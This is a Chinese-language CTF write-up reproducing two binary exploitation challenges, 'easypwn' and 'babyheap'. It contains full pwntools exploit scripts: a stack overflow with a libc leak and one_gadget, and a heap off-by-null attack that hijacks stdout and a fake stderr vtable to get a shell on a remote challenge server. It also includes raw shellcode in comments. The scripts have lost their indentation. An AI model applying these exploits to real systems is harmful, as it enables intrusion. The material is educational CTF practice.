广外ctf题目复现

easypwn

栈溢出题目,但是限制输入0x20个字符,但是后面的会将字符串中的 I 替换为 pretty。只用 I 够多就能覆写 eip,所以需要0x10个I。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./easy_pwn')
elf = ELF('easy_pwn')
libc = elf.libc
payload = 'I'*0x10 + p32(elf.plt['puts']) + p32(0x080492F5) + p32(elf.got['puts'])
p.sendline(payload)
print hex(libc.symbols['puts'])
libc_base = u64(p.recv(0xa0)[0x91:0x95].ljust(8,'\x00')) - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
p.recv()
payload = 'I'*0x10 + p32(0x3ac5c+libc_base)#one_gadget
p.sendline(payload)
p.interactive()

babyheap

在write的时候存在空字节溢出
可以重复malloc块~

https://xz.aliyun.com/t/2411#toc-0
https://xz.aliyun.com/t/5082#toc-0

攻击思路如下:

1、利用offbynull实现overlap

2、利用overlap实现改BK指针,攻击global_max_fast产生fastbin的chunk

3、改FD指针为stdout-0x51,成功实现劫持结构体

4、修改结构体从而泄露出真实地址

5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget

6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。

官方wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 0
elf = ELF('./babyheap')
if local:
p = process('./babyheap')
libc = elf.libc
else:
p = remote('183.129.189.60',10013)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

def bk(mallocr):
gdb.attach(p,"b *"+str(hex(mallocr)))
def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(idx,size):
ru("Your choice: ")
sl('1')
ru("Which basketball do you want?")
sl(str(idx))
ru("how big: ")
sl(str(size))
def free(index):
ru("Your choice: ")
sl('3')
ru("Which one you do not want?")
sl(str(index))
def edit(index,content):
ru("Your choice: ")
sl('4')
ru("Which basketball to write?")
sl(str(index))
ru("Signature: ")
sd(content)
def pwn():
malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xe8)
malloc(3,0xf8)
malloc(4,0xf8)

free(0)
payload = 'c' * 0xe0 + p64(0x2f0) + 'a'
edit(2,payload)
free(3)
malloc(0,0x2f0 - 0x10)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
free(1)
global_max_fast = 0x77f8
stdout = 0x77f8 - 0x1229
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += p64(0) + p16(0x77f8 - 0x10) + '\n'
edit(0,payload)
# debug(0)
malloc(3,0xf8)
malloc(3,0xf8)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
free(2)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
payload += p16(stdout) + '\n'
edit(0,payload)
malloc(3,0xe8)
malloc(4,0xe8)
py = ''
py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n'
edit(4,py)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
onegadget = libc_base + 0xf1147
print "libc_base--->" + hex(libc_base)
py = '\x00'+p64(libc_base+0x3c55e0)+p64(0)*3+p64(0x1)+p64(onegadget)*2+p64(libc_base+0x3c5600-8) + '\n'
edit(4,py)
#trigger abort-->flush
malloc(1,1000)
i = 0
while 1:
print i
i += 1
try:
pwn()
except EOFError:
p.close()
local = 0
elf = ELF('./babyheap')
if local:
p = process('./babyheap')
libc = elf.libc
continue
else:
p = remote('183.129.189.60',10013)
else:
sl("ls")
break
p.interactive()